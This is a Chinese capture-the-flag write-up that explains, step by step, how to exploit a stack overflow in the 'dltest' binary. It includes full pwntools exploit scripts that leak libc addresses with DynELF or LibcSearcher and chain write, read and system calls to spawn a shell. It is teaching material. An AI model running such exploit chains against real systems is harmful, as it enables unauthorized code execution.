栈溢出dltest解题步骤
思路分析:观察源码,是个栈溢出。没有system函数,也没有给libc库,但有read函数和write函数。可以借助DynELF定位system地址,然后借助read函数写入“/bin/sh”,并调用执行system(“/bin/sh”)
0x01 查看题目信息
没有开启各种保护,RELRO为” Partial”,对GOT表具有写权限。
0x03 ida反编译
首先F5键对main函数反编译 ,并查看到有write函数和
一个vuln函数。
查看vuln(),发现有read()函数,可向buf中写入0x100,查看buf大小,为0x6c+4,可知有栈溢出。
0x04 查找溢出点
gdb中执行以下命令,并copy刚生成的200个字符,run后paste
pattern create 200
r
查看到溢出点位置0x41384141,并算出需要填充padding大小为112(0x70)
DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块,其基本代码框架如下:
p = process('./xxx')
def leak(address): #address指要泄露的地址
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
#print "%#x => %s" % (address, (data or '').encode('hex'))
return data
d = DynELF(leak, elf=ELF("./xxx"))
#初始化DynELF模块
systemAddress = d.lookup('system', 'libc')
#在libc文件中搜索system函数的地址
主要使用条件:
1)目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;
2)目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。
这里利用write函数泄露system地址
①从内存中dump出4字节数据(system地址),函数执行结束后返回main函数重新执行
②补充知识点,write函数原型是write(fd, addr, len),即将addr作为起始地址,读取len字节的数据到文件流fd(0表示标准输入流stdin、1表示标准输出流stdout)
结合DynELF构造代码:
def leak(addr):
payload = offset+p32(write_plt)+p32(main_addr)+p32(1) +
p32(addr) + p32(4)
p.recvuntil('Welcome to XDCTF2015~!\n')
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (addr, (data or '').encode('hex'))
return data
d = DynELF(leak, elf = elf)
system_addr= d.lookup('system', 'libc')
0x06 利用read函数写入"/bin/sh",调用system()
①将"/bin/sh"写入到bss段,查看bss地址为0x804a040
②构造payload
readret_addr = 0xdeadbeef
offset = "A" * 112
payload = offset
payload +=p32(read_plt)
payload +=p32(system_addr)
payload +=p32(0) + p32(bss_addr) + p32(10)
payload +=p32(readret_addr) + p32(bss_addr)
关于如何利用read函数写入"/bin/sh"的详细讲解,可查看下面这个链接
https://blog.csdn.net/weixin_44113469/article/details/87005678
0x07 完整exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = process('./dltest')
elf = ELF('./dltest')
offset = "A" * 112
write_plt = elf.plt['write']
main_addr = elf.symbols['main']
read_plt = elf.plt['read']
bss_addr = 0x0804a040
readret_addr = 0xdeadbeef
#泄露system() 函数地址
def leak(addr):
payload = offset+p32(write_plt)+p32(main_addr)+p32(1) +
p32(addr) + p32(4)
p.recvuntil('Welcome to XDCTF2015~!\n')
#这一句涉及到程序的执行逻辑,不能少
p.send(payload)
data = p.recv(4)
print "%#x => %s" % (addr, (data or '').encode('hex'))
return data
d = DynELF(leak, elf = elf)
system_addr= d.lookup('system', 'libc')
#read写入/bin/sh\x00'
payload = offset
payload +=p32(read_plt)
payload +=p32(system_addr)#直接返回调用system
payload +=p32(0) + p32(bss_addr) + p32(10)
payload +=p32(readret_addr) + p32(bss_addr)
p.send(payload)
p.send('/bin/sh\x00')
p.interactive()
执行结果:
解题过程中也试过泄露出write函数地址,再根据偏移算出libc基地址,从而得到system地址,但由于泄露出来的地址利用libcSearcher查找不到libc库版本而告终。一番折腾过后,发现此题直接泄露system地址更为简便。
学无止境,经过和大佬之间的交流,发现我之前泄露出write函数地址,再根据偏移算出libc基地址的思路是正确的,之所以利用libcSearcher查找不到libc库版本是因为缺少一句 p.recvuntil(‘Welcome to XDCTF2015~!\n’),运行的逻辑出现了问题,补上之后利用libcSearcher的方法完全没问题,而为什么要用libcSearcher查找libc库版本呢?因为我们不知道别人的操作系统和libc版本,所以为了不浪费生命,为了兼容远程,可以用libcSearcher查找。可见,解题的姿势并不单一。下面是这一方法的主要exp
#先leak出write地址
rop1 = 'R'*112+p32(plt_write)+p32(plt_main)+p32(1)+p32(got_write)+p32(4)
p.recvuntil('Welcome to XDCTF2015~!\n')#就是忘了这一句
p.sendline(rop1)
write_addr = u32(p.recv(4))
#利用LibcSearcher获取libc版本
libc = LibcSearcher('write', write_addr)
offset = write_addr - libc.dump('write')
system_addr = offset + libc.dump('system')
binsh_addr = offset + libc.dump('str_bin_sh')
#调用system函数
p.recvuntil('Welcome to XDCTF2015~!\n')
payload1 = 'a' * 112 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
贴几个有关DynELF利用链接
https://www.freebuf.com/column/183879.html#respond
https://blog.csdn.net/u011987514/article/details/68490157
https://blog.csdn.net/qq_38783875/article/details/81134840
再贴一个关于libcSearcher的链接,可以下那个完整版的,亲测好用
https://blog.csdn.net/vaing_lory/article/details/86716753